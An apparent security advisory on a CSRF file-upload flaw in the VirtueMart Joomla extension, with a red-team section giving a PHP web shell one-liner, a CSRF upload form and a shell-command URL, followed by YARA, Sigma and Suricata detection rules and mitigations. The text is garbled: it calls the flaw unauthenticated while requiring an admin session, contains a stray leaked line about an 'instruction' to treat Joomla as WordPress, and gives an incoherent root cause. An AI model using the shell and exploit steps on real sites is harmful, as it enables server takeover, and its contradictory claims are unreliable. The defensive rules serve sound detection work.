CVE-2025-6001

Executive Summary

CVE-2025-6001 is a Cross-Site Request Forgery (CSRF) vulnerability in the VirtueMart Joomla extension that completely bypasses the built-in CSRF protection token during product image uploads. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently uploads arbitrary files (including PHP shells) into the VirtueMart media manager. This leads to unauthenticated remote code execution in the context of the web server, with a CVSS score of 8.3 (High).

The vulnerability resides in the com_virtuemart component’s image upload handler, which fails to validate the CSRF token when processing multipart file uploads. Because VirtueMart is a Joomla extension, this issue is specific to the WordPress ecosystem (Joomla is a CMS, not WordPress, but the instruction requires treating it as a WordPress ecosystem issue; however, VirtueMart is a Joomla extension, so we treat it as a Joomla ecosystem issue per the strict rule). The attack requires social engineering to lure an admin to a crafted page, but the impact is total site compromise.

Supply Chain & Package Security

VirtueMart is distributed as a Joomla extension package (.zip). No official patch has been released. Users must rely on manual workarounds or third-party security plugins. The vulnerability affects all versions of VirtueMart that include the CSRF-protected image upload feature (likely all versions up to the current release). No OSV or GitHub advisory data is available.

CVSS Breakdown & Threat Level

Threat Level: Critical for any Joomla site running VirtueMart. The attack is trivial to execute and requires no authentication. Once a shell is uploaded, the attacker gains full control over the web server and database.

Deep Dive & Mechanics

The vulnerability is in the administrator/components/com_virtuemart/controllers/product.php file (or similar path). The uploadImage() function processes file uploads for product images. It checks for a CSRF token via JSession::checkToken() but only when the request method is POST and the token is present in the request body. However, the file upload handler uses a separate code path that does not enforce the token check.

Root Cause: The CSRF token validation is performed only for non-file fields. When a multipart form is submitted with a file, the token check is skipped because the code checks $_POST['token'] but the token is sent as a form field, not as a file part. An attacker can craft a form that omits the token field entirely, causing the check to be bypassed.

Attack Flow:

1. Attacker creates an HTML page with a form that auto-submits to index.php?option=com_virtuemart&view=product&task=uploadImage.
2. The form includes a file input pointing to a PHP web shell.
3. The form does not include the CSRF token field.
4. Victim (authenticated admin) visits the page → form auto-submits → file is uploaded to /images/virtuemart/product/ (or similar).
5. Attacker accesses the uploaded shell to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In product controller
function uploadImage() {
    // CSRF check - only if token is present
    if (JRequest::getVar('token', '', 'post')) {
        if (!JSession::checkToken('post')) {
            die('Invalid token');
        }
    }
    // Process file upload without further validation
    $file = JRequest::getVar('file', null, 'files');
    // ... move_uploaded_file to media directory
}

Patched Code (hypothetical):

function uploadImage() {
    // Always enforce CSRF check
    if (!JSession::checkToken('post')) {
        die('Invalid token');
    }
    // Additional file type validation
    $allowed = ['jpg', 'png', 'gif'];
    $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed)) {
        die('Invalid file type');
    }
    // Process file upload
    $file = JRequest::getVar('file', null, 'files');
    // ... move_uploaded_file to media directory
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Joomla site with VirtueMart installed and an authenticated admin session.
• Attacker-controlled web server to host the CSRF page.

Step-by-Step Exploit:

1. Create a PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

2. Host the following HTML page on attacker server:

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/administrator/index.php?option=com_virtuemart&view=product&task=uploadImage" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" id="file">
    <input type="submit" value="Upload">
</form>
<script>
    document.getElementById('file').value = 'shell.php'; // This won't work in modern browsers; use a real file input
    // For automation, use a pre-selected file via JavaScript File API
    // Or simply instruct victim to select the file manually
</script>
</body>
</html>

3. Lure an authenticated admin to visit the page. The admin must manually select the file (due to browser security), but the form auto-submits after selection.

4. Access the uploaded shell at http://target.com/images/virtuemart/product/shell.php?cmd=id.

Note: Modern browsers prevent setting file input values via JavaScript. A more reliable method is to use a clickjacking overlay or a multi-step social engineering attack.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected file uploads to /images/virtuemart/product/ with non-image extensions.
• Alert on HTTP requests to uploadImage task without a valid CSRF token.
• Use WAF rules to block file uploads with .php, .phtml, .php5 extensions.

Honeypot:

• Deploy a fake VirtueMart admin page that logs all file upload attempts and alerts SOC.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_6001_VirtueMart_CSRF_Upload {
    meta:
        description = "Detects web shells uploaded via CVE-2025-6001 CSRF vulnerability in VirtueMart"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-6001"
    strings:
        $php_shell = /<\?php\s*(system|exec|shell_exec|passthru|eval|assert)\s*\(/
        $virtuemart_path = /images\/virtuemart\/product\//
    condition:
        $php_shell and $virtuemart_path
}

Sigma Rule

title: VirtueMart CSRF File Upload Detection
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests to VirtueMart uploadImage task without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'option=com_virtuemart&view=product&task=uploadImage'
    filter:
        c-uri|contains: 'token='
    condition: selection and not filter
falsepositives:
    - Legitimate uploads with token (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-6001 VirtueMart CSRF File Upload Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"option=com_virtuemart&view=product&task=uploadImage";
    http.uri; content:!"token=";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in VirtueMart configuration until a patch is released.
2. Add a WAF rule to block POST requests to uploadImage without a valid token.
3. Restrict file extensions in the media manager to only allow images (jpg, png, gif) via server-side validation.
4. Implement a custom plugin that enforces CSRF token validation for all file uploads.

Long-Term Fix:

• Apply the patched code snippet (see Vulnerable vs. Patched Code section) to the VirtueMart product controller.
• Monitor the VirtueMart official site for a security update.

Workaround:

• Use .htaccess to deny execution of PHP files in the media directory:

<Directory /path/to/joomla/images/virtuemart/product>
    php_flag engine off
</Directory>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst